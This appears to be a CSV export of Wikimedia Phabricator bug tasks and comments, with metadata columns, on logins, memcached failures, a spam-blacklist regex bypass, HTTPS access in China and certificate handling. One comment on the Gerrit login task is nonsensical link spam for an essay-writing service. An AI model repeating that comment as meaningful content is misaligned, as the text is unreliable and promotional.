+https://bugzilla.wikimedia.org/show_bug.cgi?id=66699",Low,25.0,1404433200,1532426763.0,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-mbjzs4ikrmvtmeu2sswm,task_description,invalid,True,c3,1,True,False,False,-52,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,0,1,1,1,0,0,1
+1109278,"Allow concurrent ""remember me"" logins",Unclear task with no activity.,,,1532426763,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-mbjzs4ikrmvtmeu2sswm,task_subcomment,,True,c3,3,True,,,159,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+763647,"Allow concurrent ""remember me"" logins",Were they ever disallowed? I'm pretty sure they are allowed now. Or is this about logout behavior?,,,1479507817,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-mbjzs4ikrmvtmeu2sswm,task_subcomment,,True,c3,3,True,,,72,True,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+314267,"Allow concurrent ""remember me"" logins","**Martin.vGagern** wrote:
+
+Thank you for filing this report; I hadn't found the time yet.",,,1404454951,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-mbjzs4ikrmvtmeu2sswm,task_subcomment,,True,c3,1,False,,,-52,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+67867,memcached / httpGet failing sometimes,"memcached and Wikipedia app server - to - zero.wikimedia.org app server HTTP GET failures have been observed. This means that the Wikipedia Zero banners may not show and pages may not be rewritten, or they may be inaccurately presented.
+
+Until the issue surfaces again, we will not be able to analyze this further.
+
+flourine $ grep memcache /a/mw-log/zero.log
+
+Not all items with !memcache in the log are necessarily hard failures due to the state machine aspect of memcached object clear and update, but use that command to identify entries and see the ZeroRatedMobileAccess extension for the specific places things are logged.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1401300060,1546559056.0,PHID-USER-srhlj2447vmpmrfhqnfa,False,PHID-USER-6vzzsmi22zem6yttr6vp,False,PHID-TASK-7hkmizsbasap4yirathu,task_description,declined,True,c3,1,True,False,False,-58,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+298941,memcached / httpGet failing sometimes,"Yep, it causes banners to not show, or it causes stale versions of pages to be served incorrectly, or both.",,,1401304858,,PHID-USER-srhlj2447vmpmrfhqnfa,False,,,PHID-TASK-7hkmizsbasap4yirathu,task_subcomment,,True,c3,1,True,,,-58,True,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+298934,memcached / httpGet failing sometimes,"Just to confirm, the issue that we need to wait to surface again is Zero banners not showing up correctly, right? I trust you'll ping this bug when that happens ;)
+
+(Setting to Low until that happens again.)",,,1401303963,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-7hkmizsbasap4yirathu,task_subcomment,,True,c3,1,True,,,-58,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+67848,[SpamBlacklist] Do not include '(?:https?:)?\/\/+[a-z0-9_\-.]*' in whitelist regex,"Because by replacing this to empty, ""//"" in URLs gets stripped, causing any URLs that get processed by the whitelist to fail matching against the blacklist.
+
+Repro: xlx.to is blacklisted in [[m:Spam blacklist]] using \bxlx\.to\b, thus http://foobar.xlx.to/ is expected to be blocked. However on enwiki there's whitelist entry saying \bonion\.com\b, so http://onion.com.xlx.to/ (which is a xlx.to subdomain) can pass the filter on enwiki.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1401279180,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-6lrjbzn2nioir4z3cydg,task_description,open,True,c3,1,False,False,,-58,True,1,0,0,1,0,1,1,1,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,1
+66220,"WebRequest.php:682: Web server doesn't provide either REQUEST_URI, HTTP_X_ORIGINAL_URL or SCRIPT_NAME","**Author:** `ryancarr10`
+
+**Description:**
+I will get a lot errors due to either the skin or the wiki iteself. I am not sure which one it is coming from.
+
+Link for log
+http://pastie.org/private/h7qw8lu8bmwm1fksukopzw
+
+--------------------------
+**Version**: 1.22.5
+**Severity**: normal
+**OS**: Linux
+**Whiteboard**: aklapper-moreinfo",Low,25.0,1398135900,1405686087.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-nqlch2z5sqn3ip7so76l,task_description,declined,True,c3,1,False,False,True,-63,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+307966,"WebRequest.php:682: Web server doesn't provide either REQUEST_URI, HTTP_X_ORIGINAL_URL or SCRIPT_NAME","Unfortunately closing this report as no further information has been provided.
+
+Ryan: Please feel free to reopen this report if you can provide the information asked for and if this still happens. Thanks!",,,1405686087,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nqlch2z5sqn3ip7so76l,task_subcomment,,True,c3,1,True,,,-50,True,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+307960,"WebRequest.php:682: Web server doesn't provide either REQUEST_URI, HTTP_X_ORIGINAL_URL or SCRIPT_NAME",Ryan: Please provide more information about your web server configuration.,,,1398782611,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nqlch2z5sqn3ip7so76l,task_subcomment,,True,c3,1,True,,,-62,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0
+307952,"WebRequest.php:682: Web server doesn't provide either REQUEST_URI, HTTP_X_ORIGINAL_URL or SCRIPT_NAME",*** Bug 64222 has been marked as a duplicate of this bug. ***,,,1398148337,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nqlch2z5sqn3ip7so76l,task_subcomment,,True,c3,1,True,,,-63,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+307946,"WebRequest.php:682: Web server doesn't provide either REQUEST_URI, HTTP_X_ORIGINAL_URL or SCRIPT_NAME","This is unrelated to the Chameleon skin but is related to your web server configuration:
+
+FastCGI sent in stderr: ""PHP message: PHP Fatal error:  Uncaught exception 'MWException' with message 'Web server doesn't provide either REQUEST_URI, HTTP_X_ORIGINAL_URL or SCRIPT_NAME. Report details of your web server configuration to http://bugzilla.wikimedia.org/' in /var/www/clients/client5/web7/web/wiki/includes/WebRequest.php:682
+
+Please provide more information about your web server configuration.",,,1398138979,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nqlch2z5sqn3ip7so76l,task_subcomment,,True,c3,1,True,,,-63,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,0,0,0,0,1,0,0
+66207,Re-test https access fom China (PRC),"A user reported that https access to wikipedia.org has been available for China since November 2013. Let's run some tests to see if this is true for most users.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+{T55739}",Low,25.0,1398116760,1437614185.0,PHID-USER-doeppszazlm3r7xah4il,False,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,PHID-TASK-l6pd6yi75ds4crxpvanx,task_description,invalid,True,c3,1,True,False,True,-63,True,1,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1
+495354,Re-test https access fom China (PRC),We're now HTTPS-only.,,,1437614185,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-l6pd6yi75ds4crxpvanx,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+462252,Re-test https access fom China (PRC),FYI: we now appear very recently to be suffering from language/wiki -specific blocks from the GFW (e.g. zhwiki blocked but not enwiki).  The reports are they're doing this by poisoning DNS inside the GFW (users can route around if they know the correct IPs and how to use them).  This isn't HTTPS-specific; it affects both protocols.  Public reporting on the issue: https://chinadigitaltimes.net/2015/05/chinese-wikipedia-blocked-by-great-firewall/ .,,,1432305194,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-l6pd6yi75ds4crxpvanx,task_subcomment,,True,c3,1,True,,,-6,True,0,0,1,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,0
+447719,Re-test https access fom China (PRC),"FYI, I think we have updates on this in another ticket's length comment thread.  This comment down through the following updates through Mar 28: https://phabricator.wikimedia.org/T49832#1147410",,,1429714309,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-l6pd6yi75ds4crxpvanx,task_subcomment,,True,c3,1,True,,,-11,True,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+307461,Re-test https access fom China (PRC),"Liangent pointed me to https://en.greatfire.org/https/en.wikipedia.org and https://en.greatfire.org/https/en.m.wikipedia.org. 
+
+We also received OTRS reports from the Wikipedia app beta users about not being able to access wiki with the new app (which routes all requests to m. domains) while the old app worked just fine (it routes all requests to the regular domains). Both force https.",,,1402944658,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-l6pd6yi75ds4crxpvanx,task_subcomment,,True,c3,1,True,,,-55,True,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,1,0,0,0,0
+307455,Re-test https access fom China (PRC),Sweet! Citation / link to data?,,,1402942600,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-l6pd6yi75ds4crxpvanx,task_subcomment,,True,c3,1,True,,,-55,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0
+307449,Re-test https access fom China (PRC),"Current testing seems to show that https to the mobile (m.) domain is blocked most of the time, but https to the desktop site is not.",,,1402941678,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-l6pd6yi75ds4crxpvanx,task_subcomment,,True,c3,1,True,,,-55,True,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0
+307443,Re-test https access fom China (PRC),Also see bug 53739,,,1400773992,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-l6pd6yi75ds4crxpvanx,task_subcomment,,True,c3,1,True,,,-58,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+307440,Re-test https access fom China (PRC),Being in Beijing currently I can confirm that I can access https://wikipedia.org/ without problems. Now how to proceed?,,,1400773965,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-l6pd6yi75ds4crxpvanx,task_subcomment,,True,c3,1,True,,,-58,True,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0
+66003,Add support for self-signed API certs,"We should support MediaWiki APIs with self-signed SSL certs. We can do so by converting the current optional proxy parameter in setInterwiki into an options object which can contain the cert-related options. Those can then be used in ApiRequest if set.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=70761",Low,25.0,1397666460,1512670753.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-4b4pfgqvcrpd2woafkeq,task_description,resolved,True,c3,1,True,False,False,-64,True,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+978099,Add support for self-signed API certs,"Change 396032 **merged** by jenkins-bot:
+[mediawiki/services/parsoid@master] T66003: Make strictSSL configurable per wiki as well
+
+[[https://gerrit.wikimedia.org/r/396032]]
+",,,1512670059,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4b4pfgqvcrpd2woafkeq,task_subcomment,,True,c3,3,False,,,127,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+977985,Add support for self-signed API certs,"Change 396032 had a related patch set uploaded (by Arlolra; owner: Arlolra):
+[mediawiki/services/parsoid@master] T66003: Make strictSSL configurable per wiki as well
+
+[[https://gerrit.wikimedia.org/r/396032]]
+",,,1512662153,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4b4pfgqvcrpd2woafkeq,task_subcomment,,True,c3,3,False,,,127,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+297075,Add support for self-signed API certs,*** Bug 70761 has been marked as a duplicate of this bug. ***,,,1410800121,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-4b4pfgqvcrpd2woafkeq,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+65573,http->https rewrite (=prefershttps) also rewrites http search urls for Special:Linksearch,"With preferhttps option enabled by logged in users
+
+http://de.wikipedia.org/wiki/Spezial:Weblinksuche/http://wikimedia.org
+
+gets redirected to 
+
+https://de.wikipedia.org/wiki/Spezial:Weblinksuche/https://wikimedia.org
+
+instead of
+
+https://de.wikipedia.org/wiki/Spezial:Weblinksuche/http://wikimedia.org
+
+The protocol part of the search url argument must not be rewritten.
+
+--------------------------
+**Version**: 1.23.0
+**Severity**: normal
+**URL**: http://de.wikipedia.org/wiki/Spezial:Weblinksuche/http://wikimedia.org",Low,25.0,1396708500,1398715069.0,PHID-USER-rbcxdzszrm6s4izt67kj,False,,False,PHID-TASK-fo6euemcyydnhp3rauk2,task_description,resolved,True,c3,1,False,False,True,-65,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+302131,http->https rewrite (=prefershttps) also rewrites http search urls for Special:Linksearch,successfully merged,,,1398715069,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-fo6euemcyydnhp3rauk2,task_subcomment,,True,c3,1,True,,,-62,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0
+302126,http->https rewrite (=prefershttps) also rewrites http search urls for Special:Linksearch,"Change 129925 merged by jenkins-bot:
+http -> https rewrite: Only replace one http by https
+
+https://gerrit.wikimedia.org/r/129925",,,1398714651,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fo6euemcyydnhp3rauk2,task_subcomment,,True,c3,1,False,,,-62,True,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+302119,http->https rewrite (=prefershttps) also rewrites http search urls for Special:Linksearch,"Change 129925 had a related patch set uploaded by Umherirrender:
+http -> https rewrite: Only replace one http by https
+
+https://gerrit.wikimedia.org/r/129925",,,1398544531,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fo6euemcyydnhp3rauk2,task_subcomment,,True,c3,1,False,,,-62,True,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+302112,http->https rewrite (=prefershttps) also rewrites http search urls for Special:Linksearch,"str_replace replaced all instead of the first one. A regex replace with ^ at the begin would help here.
+
+Wiki.php around line 537
+$redirUrl = str_replace( 'http://', 'https://', $oldUrl );",,,1396725433,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-fo6euemcyydnhp3rauk2,task_subcomment,,True,c3,1,True,,,-65,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+64317,Gerrit login/password change: wikitech username has to be used for log-in instead of other user-name,"**Author:** `jweberhofer`
+
+**Description:**
+To log in, I have to use my full name instead of the username; that's a bit confusing, as the dialog is asking for the Username. 
+
+It would also be great to find a link to reset the password. After searching, I found https://wikitech.wikimedia.org/wiki/Special:PasswordReset which is possibly the right way; but again - the username can not be found; I have not tried with the full-name.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1394107500,1469514561.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-TASK-acuhlxzybxhkwgljm5tq,task_description,declined,True,c3,1,False,False,False,-69,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+1460008,Gerrit login/password change: wikitech username has to be used for log-in instead of other user-name,In a bash script in integration to move asserts. Asserts are different type and you make sure in which way you choose these assets to check [[ https://www.australianwritings.com/assignment-help/ | cheap assignment help ]].  ,,,1583757661,,PHID-USER-pxhffaoubbkzukf4wmzv,False,,,PHID-TASK-acuhlxzybxhkwgljm5tq,task_subcomment,,True,c3,3,False,,,244,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,1
+700075,Gerrit login/password change: wikitech username has to be used for log-in instead of other user-name,"I'm inclined to decline this. While it has been a confusion point for a few people over the years, it's not nearly as big a problem as we thought it would be. I think changing it would actually confuse *more* people who have been using it this way for years now, plus maybe some bots might be broken.",,,1469468134,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-acuhlxzybxhkwgljm5tq,task_subcomment,,True,c3,3,True,,,55,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0
+292269,Gerrit login/password change: wikitech username has to be used for log-in instead of other user-name,"Are you by chance trying to log in to gerrit using your “Instance
+shell account name”?
+
+Note that Gerrit's “Username” is the same as Wikitech's “Username”
+(and not Wikitech's “Instance shell account name”).
+
+It seems there is a username registered that matches your full
+name. Did you by chance use your full name as user name?",,,1394458235,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-acuhlxzybxhkwgljm5tq,task_subcomment,,True,c3,1,True,,,-69,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+292261,Gerrit login/password change: wikitech username has to be used for log-in instead of other user-name,"**jweberhofer** wrote:
+
+(In reply to Andre Klapper from comment #2)
+> (In reply to Johannes Weberhofer from comment #0)
+> > To log in
+> 
+> ...on which exact URL, in order to reproduce? 
+> This ticket is talking both about wikitech.wm.org and Gerrit.
+
+https://gerrit.wikimedia.org/r/login/",,,1394203259,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-acuhlxzybxhkwgljm5tq,task_subcomment,,True,c3,1,False,,,-69,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,1,1,0,0,1,0,0,1
+292252,Gerrit login/password change: wikitech username has to be used for log-in instead of other user-name,"(In reply to Johannes Weberhofer from comment #0)
+> To log in
+
+...on which exact URL, in order to reproduce? 
+This ticket is talking both about wikitech.wm.org and Gerrit.",,,1394198229,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-acuhlxzybxhkwgljm5tq,task_subcomment,,True,c3,1,True,,,-69,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,1
